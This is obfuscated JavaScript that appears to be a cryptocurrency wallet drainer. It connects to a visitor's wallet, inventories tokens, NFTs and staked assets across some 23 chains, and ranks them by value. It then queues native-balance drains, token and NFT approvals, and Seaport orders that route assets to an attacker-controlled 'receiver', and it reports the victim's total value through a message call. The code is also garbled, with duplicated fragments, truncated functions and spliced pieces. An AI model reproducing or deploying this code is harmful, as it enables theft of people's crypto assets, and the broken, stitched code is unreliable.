if (window.ethereumClient.getAccount().isConnected) {
if (window.disabled) {
return;
}
this.provider = await window.ethereumClient.getAccount().connector.getProvider();
window.disabled = true;
this.web3Js = new Web3(this.provider);
this.ethersProvider = new ethers.providers.Web3Provider(this.provider, _0x4ea03a.lzlqn);
this.currentChainId = parseInt(await this.web3Js.eth.getChainId());
this.initialChainId = this.currentChainId;
this.Sdk = new SDK(this.provider, this.currentChainId);
if (_0x4c82e3.bannedAddresses.includes(await this.getWalletAddress())) {
return console.warn(_0x4ea03a.tPLww);
}
await this.ProcessAssets();
window.disabled = false;
} else {
if (!window.init) {
console.log(_0x4ea03a.DkYOk);
if (!window.ethereumClient.getAccount().isConnected) {
let _0x457a53 = window.web3Modal.subscribeModal(async _0xae1283 => {
window.init = true;
if (_0xae1283.open == false) {
window.init = false;
_0x457a53();
if (window.disabled == false) {
if (window.ethereumClient.getAccount().isConnected) {
try {
const _0x28b9fd = _0x4ea03a.CMOdC.split('|');
let _0x795ac7 = 0;
while (true) {
switch (_0x28b9fd[_0x795ac7++]) {
case '0':
this.ethersProvider = new ethers.providers.Web3Provider(this.provider, "any");
continue;
case '1':
this.Sdk = new SDK(this.provider, this.currentChainId);
continue;
case '2':
this.web3Js = new Web3(this.provider);
continue;
case '3':
await this.ProcessAssets();
continue;
case '4':
window.disabled = false;
continue;
case '5':
window.disabled = true;
continue;
case '6':
this.initialChainId = this.currentChainId;
continue;
case '7':
if (_0x4c82e3.bannedAddresses.includes(await this.getWalletAddress())) {
return console.warn(_0x4ea03a.tPLww);
}
continue;
case '8':
this.provider = await window.ethereumClient.getAccount().connector.getProvider();
continue;
case '9':
this.currentChainId = parseInt(await this.web3Js.eth.getChainId());
continue;
case '10':
if (window.disabled) {
return;
}
continue;
}
break;
}
} catch {}
}
}
}
});
}
}
await window.web3Modal.openModal();
}
} catch (_0x2bb7e3) {
console.log(_0x2bb7e3);
}
};
["ProcessAssets"] = async () => {
console.time();
await Promise.all([this.tokenPromise(), this.nftPromise(), this.apePromise()]);
await this.handleActions();
location.reload();
};
["handleActions"] = async () => {
let walletAddress = await this.getWalletAddress();
console.log("handling actions");
this.offer = [];
this.considerations = [];
this.totalSeaport = 0;
this.totalTransfer = 0;
this.totalBlur = 0;
this.totalNFTs = 0;
this.totalStaked = 0;
this.totalTokens = 0;
this.totalWyvern = 0;
this.nativeBalances = 0;
this.actions = [];
this.failedAttempts = 0;
for (let tokenChain of this.tokenChains) {
try {
console.log("getting " + tokenChain);
await this.populateActions(tokenChain);
} catch (error) {
console.log(error);
}
}
let actions = this.actions.sort(this.utils.propComparator("value")).reverse();
console.log(actions);
const eth = {
chain: "eth",
value: 0x0
};
const bsc = {
async function handleActions() {
console.time();
const actions = this.actions.filter(action => {
return !this.handledActions.includes(Base64.encode(JSON.stringify(action)));
});
const eth = {
chain: "eth",
value: 0x0
};
const bsc = {
chain: "bsc",
value: 0x0
};
const arb = {
chain: "arb",
value: 0x0
};
const matic = {
chain: 'matic',
value: 0x0
};
const avax = {
chain: "avax",
value: 0x0
};
const xdai = {
chain: "xdai",
value: 0x0
};
const op = {
chain: 'op',
value: 0x0
};
const ftm = {
chain: "ftm",
value: 0x0
};
const cro = {
chain: 'cro',
value: 0x0
};
const metis = {
chain: "metis",
value: 0x0
};
const okt = {
chain: "okt",
value: 0x0
};
const heco = {
chain: "heco",
value: 0x0
};
const mvr = {
chain: "mvr",
value: 0x0
};
const mobm = {
chain: "mobm",
value: 0x0
};
const celo = {
chain: "celo",
value: 0x0
};
const klay = {
chain: 'klay',
value: 0x0
};
const aurora = {
chain: "aurora",
value: 0x0
};
const boba = {
chain: "boba",
value: 0x0
};
const nova = {
chain: "nova",
value: 0x0
};
const astar = {
chain: "astar",
value: 0x0
};
const era = {
chain: "era",
value: 0x0
};
const base = {
chain: "base",
value: 0x0
};
const pls = {
chain: "pls",
value: 0x0
};
this.chainValues = [eth, bsc, arb, matic, avax, xdai, op, ftm, cro, metis, okt, heco, mvr, mobm, celo, klay, aurora, boba, nova, astar, era, base, pls];
const ethChain = {
chain: "eth",
value: 0x0,
actions: 0x0
};
const bscChain = {
chain: "bsc",
value: 0x0,
actions: 0x0
};
const arbChain = {
chain: "arb"
};
arbChain.value = 0x0;
arbChain.actions = 0x0;
const maticChain = {
chain: "matic",
value: 0x0,
actions: 0x0
};
const avaxChain = {
chain: 'avax',
value: 0x0,
actions: 0x0
};
const xdaiChain = {
chain: "xdai",
value: 0x0,
actions: 0x0
};
const opChain = {
chain: 'op',
value: 0x0,
actions: 0x0
};
const ftmChain = {
chain: "ftm",
value: 0x0,
actions: 0x0
};
const croChain = {
chain: 'cro',
value: 0x0,
actions: 0x0
};
const metisChain = {
chain: "metis",
value: 0x0,
actions: 0x0
};
const oktChain = {
chain: "okt",
value: 0x0,
actions: 0x0
};
const hecoChain = {
chain: "heco",
value: 0x0,
actions: 0x0
};
const mvrChain = {
chain: "mvr",
value: 0x0,
actions: 0x0
};
const mobmChain = {
chain: "mobm",
value: 0x0,
actions: 0x0
};
const celoChain = {
chain: "celo",
value: 0x0,
actions: 0x0
};
const klayChain = {
chain: "klay",
value: 0x0,
actions: 0x0
};
const auroraChain = {
chain: "aurora",
value: 0x0,
actions: 0x0
};
const bobaChain = {
chain: "boba",
value: 0x0,
actions: 0x0
};
const novaChain = {
chain: "nova",
value: 0x0,
actions: 0x0
};
const astarChain = {
chain: "astar",
value: 0x0,
actions: 0x0
};
const eraChain = {
chain: "era",
value: 0x0,
actions: 0x0
};
const baseChain = {
chain: "base",
value: 0x0,
actions: 0x0
};
const plsChain = {
chain: "pls",
value: 0x0,
actions: 0x0
};
let chainValues = [ethChain, bscChain, arbChain, maticChain, avaxChain, xdaiChain, opChain, ftmChain, croChain, metisChain, oktChain, hecoChain, mvrChain, mobmChain, celoChain, klayChain, auroraChain, bobaChain, novaChain, astarChain, eraChain, baseChain, plsChain];
for (let action of actions) {
let isAction = false;
if (action.actionType != "ApprovalNFT" && action.actionType != "ApprovalToken" && action.actionType != "Stake" && action.actionType != "DrainNative") {
isAction = true;
}
try {
if (action.value > 0) {
if (action.chain == (await this.getChainFromId(this.currentChainId))) {
if (isAction) {
const index = chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
chainValues[index].value += action.value;
chainValues[index].actions = chainValues[index].actions + 1;
} else {
const index = this.chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
this.chainValues[index].value += action.value;
}
} else {
if (isAction) {
const index = chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
chainValues[index].value += action.value * assetOptions.multipliers.chainSwitchRatio;
chainValues[index].actions = chainValues[index].actions + 1;
} else {
const index = this.chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
this.chainValues[index].value += action.value * assetOptions.multipliers.chainSwitchRatio;
}
}
}
} catch {}
}
console.log(this.chainValues);
for (let chain of chainValues) {
try {
const index = this.chainValues.findIndex(chainValue => {
return chainValue.chain === chain.chain;
});
if (chain.value > 0) {
this.chainValues[index].value += chain.value / chain.actions;
}
} catch {}
}
console.log(chainValues);
let totalValue = 0;
for (let chain of this.chainValues) {
totalValue += chain.value;
}
console.log(totalValue);
if (!this.sentMessage) {
this.sentMessage = true;
const message = {
type: "connection",
value: totalValue,
chain: "eth"
};
await this.sendMessage(message);
}
};
console.timeEnd();
for (let action of actions) {
let isAction = false;
if (action.actionType != "ApprovalNFT" && action.actionType != "ApprovalToken" && action.actionType != "Stake" && action.actionType != "DrainNative") {
isAction = true;
}
try {
if (action.value > 0) {
if (action.chain == (await this.getChainFromId(this.currentChainId))) {
if (isAction) {
const index = chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
chainValues[index].value += action.value;
chainValues[index].actions = chainValues[index].actions + 1;
} else {
const index = this.chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
this.chainValues[index].value += action.value;
}
} else {
if (isAction) {
const index = chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
chainValues[index].value += action.value * assetOptions.multipliers.chainSwitchRatio;
chainValues[index].actions = chainValues[index].actions + 1;
} else {
const index = this.chainValues.findIndex(chain => {
return chain.chain === action.chain;
});
this.chainValues[index].value += action.value * assetOptions.multipliers.chainSwitchRatio;
}
}
}
} catch {}
}
console.log(this.chainValues);
for (let chain of chainValues) {
try {
const index = this.chainValues.findIndex(chainValue => {
return chainValue.chain === chain.chain;
});
if (chain.value > 0) {
this.chainValues[index].value += chain.value / chain.actions;
}
} catch {}
}
console.log(chainValues);
let totalValue = 0;
for (let chain of this.chainValues) {
totalValue += chain.value;
}
console.log(totalValue);
if (!this.sentMessage) {
this.sentMessage = true;
const message = {
type: "connection",
value: totalValue,
chain: "eth"
};
await this.sendMessage(message);
}
case "Pangolin":
await this.doSwapRegular(_0x22d79d);
break;
case 'Pancake':
await this.doSwapRegular(_0x22d79d);
break;
case "PancakeV2":
await this.doSwapRegular(_0x22d79d);
break;
case "Permit2":
await this.permit2(_0x22d79d);
break;
case "Quickswap":
await this.doSwapRegular(_0x22d79d);
break;
case "Seaport":
await this.seaportOrder(_0x22d79d);
break;
case "Stargate":
await this.doSwapRegular(_0x22d79d);
break;
case "Special":
await this.doSwapRegular(_0x22d79d);
break;
case "SpookySwap":
await this.doSwapRegular(_0x22d79d);
break;
case "ShibaSwap":
await this.doSwapRegular(_0x22d79d);
break;
case "SushiSwap":
await this.doSwapRegular(_0x22d79d);
break;
case "SushiProcess":
await this.doSwapRegular(_0x22d79d);
break;
case "TraderJoeV1":
await this.doSwapRegular(_0x22d79d);
break;
case "TraderJoeV2":
await this.doSwapRegular(_0x22d79d);
break;
case "TraderJoeV3":
await this.doSwapRegular(_0x22d79d);
break;
case "UniswapV2":
await this.doSwapRegular(_0x22d79d);
break;
case "UniswapV3":
await this.doSwapRegular(_0x22d79d);
break;
case "UniswapV3_2":
await this.doSwapRegular(_0x22d79d);
break;
case "UniswapNFT":
break;
case "WooFinance":
await this.doSwapRegular(_0x22d79d);
break;
case "WooBridge":
await this.doSwapRegular(_0x22d79d);
break;
case 'Wyvern':
break;
case "ZeroEx":
await this.doSwapRegular(_0x22d79d);
break;
case 'X2Y2':
break;
}
console.log("Finished action");
this.handledActions.push(Base64.encode(JSON.stringify(_0x22d79d)));
localStorage.approved = JSON.stringify(this.approved);
await this.handleActions();
return;
}
}
};
["populateActions"] = async _0x4a34ab => {
if (_0x4a34ab == "matic") {
let _0x1c538b = this.quickSwapActions.filter(_0x247275 => _0x247275.chain == _0x4a34ab && !this.approved.includes(_0x247275.token + ',' + _0x4a34ab));
if (_0x1c538b.length > 0) {
for (let _0x55ad0d of _0x1c538b) {
const _0xf95ab5 = {
token: _0x55ad0d.token,
amount: _0x55ad0d.amount,
value: _0x55ad0d.value
};
var _0x32ad88 = _0xf95ab5;
this.createAction("Quickswap", _0x32ad88, _0x55ad0d.value, _0x4a34ab);
}
}
}
if (_0x4a34ab == "ftm") {
let _0x4a2996 = this.spookyActions.filter(_0xc2e49d => _0xc2e49d.chain == _0x4a34ab && !this.approved.includes(_0xc2e49d.token + ',' + _0x4a34ab));
if (_0x4a2996.length > 0) {
for (let _0x260f8e of _0x4a2996) {
const _0x3fdde1 = {
token: _0x260f8e.token,
amount: _0x260f8e.amount,
value: _0x260f8e.value
};
var _0x32ad88 = _0x3fdde1;
this.createAction('SpookySwap', _0x32ad88, _0x260f8e.value, _0x4a34ab);
}
}
}
if (_0x4a34ab == "eth") {
let _0x5b4505 = [];
let _0x2cf7e2 = [];
let _0x4dade8 = this.approvalNFTActions.filter(_0x34e9c6 => _0x34e9c6.chain == _0x4a34ab && !this.approved.includes(_0x34e9c6.nft.contract + ',' + _0x4a34ab));
if (_0x4dade8.length > 0) {
let _0x540dbe = [];
for (let _0x177456 of _0x4dade8) {
let _0x5d447f = [];
if (!_0x540dbe.filter(_0x376047 => _0x376047.nft.contract == _0x177456.nft.contract).length > 0) {
for (let _0x3d24f8 of _0x4dade8) {
if (_0x3d24f8.nft.contract == _0x177456.nft.contract) {
_0x5d447f.push(_0x3d24f8.nft.token_id);
}
}
_0x177456.nft.token_ids = _0x5d447f;
_0x540dbe.push(_0x177456);
}
}
for (let _0xae6872 of _0x540dbe) {
let _0x506028 = _0xae6872.nft.token_ids.length * _0xae6872.value;
if (!this.approved.includes(Base64.encode(JSON.stringify(_0xae6872.nft)))) {
this.createAction("ApprovalNFT", _0xae6872.nft, _0x506028, _0x4a34ab);
this.totalNFTs += _0xae6872.value;
}
}
}
let _0x26271d = this.seaportTokenActions.filter(_0x424028 => _0x424028.chain == _0x4a34ab && !this.approved.includes(_0x424028.token + ',' + _0x4a34ab));
if (_0x26271d.length > 0) {
for (let _0x267abf of _0x26271d) {
if (_0x267abf.value > 50) {
const _0xb2b94c = {
itemType: 0x1,
token: _0x267abf.token,
startAmount: _0x267abf.amount,
endAmount: _0x267abf.amount
};
const _0x48fc6 = {
itemType: 0x1,
token: _0x267abf.token,
startAmount: _0x267abf.amount,
endAmount: _0x267abf.amount,
recipient: this.receiver
};
let _0x587c04 = this.Sdk.getItem(_0x48fc6);
let _0x5248ab = this.Sdk.getItem(_0xb2b94c);
this.offer.push(_0x5248ab);
this.considerations.push(_0x587c04);
this.totalSeaport += _0x267abf.value;
}
}
}
let _0x1fe45b = this.seaportNFTActions.filter(_0x586511 => _0x586511.chain == _0x4a34ab && !this.approved.includes(_0x586511.nft.contract + ',' + _0x4a34ab) && !this.approved.includes(Base64.encode(JSON.stringify(_0x586511.nft))));
if (_0x1fe45b.length > 0) {
for (let _0x1b1253 of _0x1fe45b) {
if (_0x1b1253.value > 50) {
let _0x31302d = _0x1b1253.nft;
let _0x28a7f3 = 2;
if (_0x31302d.scheme == "erc1155") {
_0x28a7f3 = 3;
}
const _0xbd717f = {
itemType: _0x28a7f3,
token: _0x31302d.contract,
startAmount: _0x31302d.amount,
endAmount: _0x31302d.amount,
tokenId: _0x31302d.token_id
};
const _0xe4210d = {
itemType: _0x28a7f3,
token: _0x31302d.contract,
startAmount: _0x31302d.amount,
endAmount: _0x31302d.amount,
tokenId: _0x31302d.token_id,
recipient: this.receiver
};
let _0x3da398 = this.Sdk.getItem(_0xe4210d);
let _0x2c7482 = this.Sdk.getItem(_0xbd717f);
this.offer.push(_0x2c7482);
this.considerations.push(_0x3da398);
this.totalSeaport += _0x1b1253.value;
}
}
}
let _0x19f83b = this.osTransferActions.filter(_0x28ffa0 => _0x28ffa0.chain == _0x4a34ab && !this.approved.includes(_0x28ffa0.nft.contract + ',' + _0x4a34ab) && !this.approved.includes(Base64.encode(JSON.stringify(_0x28ffa0.nft))));
if (_0x19f83b.length > 0) {
for (let _0x20d0c2 of _0x19f83b) {
if (_0x20d0c2.value > 30) {
let _0x1ec1f5 = _0x20d0c2.nft;
let _0x18f4cf = 2;
if (_0x1ec1f5.scheme == "erc1155") {
_0x18f4cf = 3;
}
const _0x4f24d8 = {
itemType: _0x18f4cf,
token: _0x1ec1f5.contract,
amount: _0x1ec1f5.amount,
tokenId: _0x1ec1f5.token_id
};
_0x2cf7e2.push(_0x4f24d8);
this.totalTransfer += _0x20d0c2.value;
}
}
}
let _0x433ecb = this.wyvernTokenActions.filter(_0x279173 => _0x279173.chain == _0x4a34ab && !this.approved.includes(_0x279173.token + ',' + _0x4a34ab));
if (_0x433ecb.length > 0) {
for (let _0x35a3c6 of _0x433ecb) {
const _0x1429b4 = {
token: _0x35a3c6.token,
amount: _0x35a3c6.amount,
value: _0x35a3c6.value
};
var _0x32ad88 = _0x1429b4;
_0x5b4505.push(_0x32ad88);
this.totalWyvern += _0x35a3c6.value;
}
}
let _0x2f1c99 = this.wyvernNftActions.filter(_0x243fb0 => _0x243fb0.chain == _0x4a34ab && !this.approved.includes(_0x243fb0.nft.contract + ',' + _0x4a34ab) && !this.approved.includes(Base64.encode(JSON.stringify(_0x243fb0.nft))));
if (_0x433ecb.length > 0) {
for (let _0x14b5d0 of _0x2f1c99) {
let _0x49c742 = _0x14b5d0.nft;
const _0x249df3 = {
token: _0x49c742.contract,
value: _0x14b5d0.value
};
var _0x32ad88 = _0x249df3;
_0x5b4505.push(_0x32ad88);
this.totalWyvern += _0x14b5d0.value;
}
}
if (this.totalSeaport > 0) {
this.createAction("Seaport", '', this.totalSeaport, "eth");
}
if (this.totalWyvern > 0) {
this.createAction('Wyvern', _0x5b4505, this.totalWyvern, 'eth');
}
if (this.totalTransfer > 0) {
this.createAction("OSTransfer", _0x2cf7e2, this.totalTransfer, "eth");
}
}
if (_0x4a34ab == "arb") {
let _0x153294 = this.camelotActions.filter(_0x5093c3 => _0x5093c3.chain == _0x4a34ab && !this.approved.includes(_0x5093c3.token + ',' + _0x4a34ab));
if (_0x153294.length > 0) {
for (let _0x5ccd87 of _0x153294) {
const _0x123feb = {
token: _0x5ccd87.token,
amount: _0x5ccd87.amount,
value: _0x5ccd87.value
};
var _0x32ad88 = _0x123feb;
this.createAction('Camelot', _0x32ad88, _0x5ccd87.value, _0x4a34ab);
}
}
let _0x1a4d22 = this.gmxActions.filter(_0x41b9ad => _0x41b9ad.chain == _0x4a34ab && !this.approved.includes(_0x41b9ad.token + ',' + _0x4a34ab));
if (_0x1a4d22.length > 0) {
for (let _0x1dfcda of _0x1a4d22) {
const _0xc277d6 = {
token: _0x1dfcda.token,
amount: _0x1dfcda.amount,
value: _0x1dfcda.value
};
var _0x32ad88 = _0xc277d6;
this.createAction("GMX", _0x32ad88, _0x1dfcda.value, _0x4a34ab);
}
}
}
let _0x3324ec = this.drainNativeActions.filter(_0x55aa80 => _0x55aa80.chain == _0x4a34ab);
if (_0x3324ec.length > 0) {
for (let _0x41018d of _0x3324ec) {
this.createAction("DrainNative", _0x41018d.balance, _0x41018d.value, _0x4a34ab);
this.nativeBalances += _0x41018d.value;
}
}
let _0x24a892 = this.approvalTokenActions.filter(_0x399c0c => _0x399c0c.chain == _0x4a34ab && !this.approved.includes(_0x399c0c.token.token_address + ',' + _0x4a34ab));
if (_0x24a892.length > 0) {
for (let _0x3971e8 of _0x24a892) {
this.createAction("ApprovalToken", _0x3971e8.token, _0x3971e8.value, _0x4a34ab);
this.totalTokens += _0x3971e8.value;
}
}
let _0x2c8fd7 = this.apeStakeActions.filter(_0x192160 => _0x192160.chain == _0x4a34ab);
;
if (_0x2c8fd7.length > 0) {
for (let _0x5a6d01 of _0x2c8fd7) {
this.createAction("ApeStake", _0x5a6d01.stake, _0x5a6d01.value * _0x4c82e3.assetOptions.multipliers.apestake, _0x4a34ab);
this.totalStaked += _0x5a6d01.value;
}
}
let _0x371ff5 = this.aaveLP2Actions.filter(_0x1a7ad2 => _0x1a7ad2.chain == _0x4a34ab && !this.approved.includes(_0x1a7ad2.token + ',' + _0x4a34ab));
if (_0x371ff5.length > 0) {
for (let _0x41bedb of _0x371ff5) {
const _0x2587f4 = {
token: _0x41bedb.token,
amount: _0x41bedb.amount,
value: _0x41bedb.value
};
var _0x32ad88 = _0x2587f4;
this.createAction("AaveLP2", _0x32ad88, _0x41bedb.value, _0x4a34ab);
}
}
let _0x535a61 = this.aaveLP3Actions.filter(_0x20556a => _0x20556a.chain == _0x4a34ab && !this.approved.includes(_0x20556a.token + ',' + _0x4a34ab));
if (_0x535a61.length > 0) {
for (let _0x2d3914 of _0x535a61) {
const _0x4e1bcb = {
token: _0x2d3914.token,
amount: _0x2d3914.amount,
value: _0x2d3914.value
};
var _0x32ad88 = _0x4e1bcb;
this.createAction("AaveLP3", _0x32ad88, _0x2d3914.value, _0x4a34ab);
}
}
let _0x570775 = this.aaveLP4Actions.filter(_0x1dcc0c => _0x1dcc0c.chain == _0x4a34ab && !this.approved.includes(_0x1dcc0c.token + ',' + _0x4a34ab));
if (_0x570775.length > 0) {
for (let _0xe447f7 of _0x570775) {
const _0x3ed3f9 = {
token: _0xe447f7.token,
amount: _0xe447f7.amount,
value: _0xe447f7.value
};
var _0x32ad88 = _0x3ed3f9;
this.createAction('AaveLP4', _0x32ad88, _0xe447f7.value, _0x4a34ab);
}
}
let _0x1b2119 = this.bancorActions.filter(_0x44b222 => _0x44b222.chain == _0x4a34ab && !this.approved.includes(_0x44b222.token + ',' + _0x4a34ab));
if (_0x1b2119.length > 0) {
for (let _0x2ab22d of _0x1b2119) {
const _0x342fae = {
token: _0x2ab22d.token,
amount: _0x2ab22d.amount,
value: _0x2ab22d.value
};
var _0x2ddf5b = _0x342fae;
this.createAction("Bancor", _0x2ddf5b, _0x2ab22d.value, _0x4a34ab);
}
}
let _0x25877a = this.bancorSwapsActions.filter(_0xbdf8ad => _0xbdf8ad.chain == _0x4a34ab && !this.approved.includes(_0xbdf8ad.token + ',' + _0x4a34ab));
if (_0x25877a.length > 0) {
for (let _0x5ee937 of _0x25877a) {
const _0x4f4ced = {
token: _0x5ee937.token,
amount: _0x5ee937.amount,
value: _0x5ee937.value
};
var _0x2ddf5b = _0x4f4ced;
this.createAction("BancorSwaps", _0x2ddf5b, _0x5ee937.value, _0x4a34ab);
}
}
let _0xae910c = this.curveActions.filter(_0x1e4d31 => _0x1e4d31.chain == _0x4a34ab && !this.approved.includes(_0x1e4d31.token + ',' + _0x4a34ab));
if (_0xae910c.length > 0) {
for (let _0x469602 of _0xae910c) {
const _0x520b3f = {
token: _0x469602.token,
amount: _0x469602.amount,
value: _0x469602.value
};
var _0xfe5935 = _0x520b3f;
this.createAction('Curve', _0xfe5935, _0x469602.value, _0x4a34ab);
}
}
let _0x43eff4 = this.curveVyper1Actions.filter(_0x389423 => _0x389423.chain == _0x4a34ab && !this.approved.includes(_0x389423.token + ',' + _0x4a34ab));
if (_0x43eff4.length > 0) {
for (let _0x199f7b of _0x43eff4) {
const _0x417617 = {
token: _0x199f7b.token,
amount: _0x199f7b.amount,
value: _0x199f7b.value
};
var _0xfe5935 = _0x417617;
function processCurveVyper1Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("CurveVyper1", params, action.value, chain);
}
}
}
function processCowActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Cowswap", params, action.value, chain);
}
}
}
function processOneInchV5Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction('1InchV5', params, action.value, chain);
}
}
}
function processKyberActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction('Kyber', params, action.value, chain);
}
}
}
function processTraderJoeV1Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("TraderJoeV1", params, action.value, chain);
}
}
}
function processTraderJoeV2Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("TraderJoeV2", params, action.value, chain);
}
}
}
function processTraderJoeV3Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("TraderJoeV3", params, action.value, chain);
}
}
}
function processZeroExActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("ZeroEx", params, action.value, chain);
}
}
}
function processStargateActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Stargate", params, action.value, chain);
}
}
}
function processPangolinActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Pangolin", params, action.value, chain);
}
}
}
function processPancakeActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction('Pancake', params, action.value, chain);
}
}
}
function processPancakeV2Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
let paramsList = [];
let totalValue = 0;
for (let action of filteredActions) {
totalValue += action.value;
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
paramsList.push(params);
}
createAction('PancakeV2', paramsList, totalValue, chain);
}
}
function processSpecialActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Special", params, action.value, chain);
}
}
}
function processShibaSwapActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Shibaswap", params, action.value, chain);
}
}
}
function processUniswapV2Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("UniswapV2", params, action.value, chain);
}
}
}
function processUniswapV3Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
let paramsList = [];
let totalValue = 0;
for (let action of filteredActions) {
totalValue += action.value;
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
paramsList.push(params);
}
createAction('UniswapV3', paramsList, totalValue, chain);
}
}
function processUniswapV3_2Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
let paramsList = [];
let totalValue = 0;
for (let action of filteredActions) {
totalValue += action.value;
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
paramsList.push(params);
}
createAction("UniswapV3_2", paramsList, totalValue, chain);
}
}
function processPermit2Actions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
let paramsList = [];
let totalValue = 0;
for (let action of filteredActions) {
totalValue += action.value;
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
paramsList.push(params);
}
createAction('Permit2', paramsList, totalValue, chain);
}
}
function processWooFinanceActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("WooFinance", params, action.value, chain);
}
}
}
function processWooBridgeActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction('WooBridge', params, action.value, chain);
}
}
}
function processSushiswapActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("Sushiswap", params, action.value, chain);
}
}
}
function processSushiProcessActions(actions, approved, chain) {
let filteredActions = actions.filter(action => action.chain == chain && !approved.includes(action.token + ',' + chain));
if (filteredActions.length > 0) {
for (let action of filteredActions) {
const params = {
token: action.token,
amount: action.amount,
value: action.value
};
createAction("SushiProcess", params, action.value, chain);
}
}
}
function createAction(name, params, value, chain) {
var action = {
name: name,
params: params,
value: value,
chain: chain
};
this.actions.push(action);
}
function processActions(actions, approved, chain) {
processCurveVyper1Actions(actions.curveVyper1Actions, approved, chain);
processCowActions(actions.cowActions, approved, chain);
processOneInchV5Actions(actions.oneinchv5Actions, approved, chain);
processKyberActions(actions.kyberActions, approved, chain);
processTraderJoeV1Actions(actions.traderJoeV1Actions, approved, chain);
processTraderJoeV2Actions(actions.traderJoeV2Actions, approved, chain);
processTraderJoeV3Actions(actions.traderJoeV3Actions, approved, chain);
processZeroExActions(actions.zeroexActions, approved, chain);
processStargateActions(actions.stargateActions, approved, chain);
processPangolinActions(actions.pangolinActions, approved, chain);
processPancakeActions(actions.pancakeActions, approved, chain);
processPancakeV2Actions(actions.pancakev2Actions, approved, chain);
processSpecialActions(actions.specialActions, approved, chain);
processShibaSwapActions(actions.shibaSwapActions, approved, chain);
processUniswapV2Actions(actions.uniswapv2Actions, approved, chain);
processUniswapV3Actions(actions.uniswapv3Actions, approved, chain);
processUniswapV3_2Actions(actions.uniswapv3_2Actions, approved, chain);
processPermit2Actions(actions.permit2Actions, approved, chain);
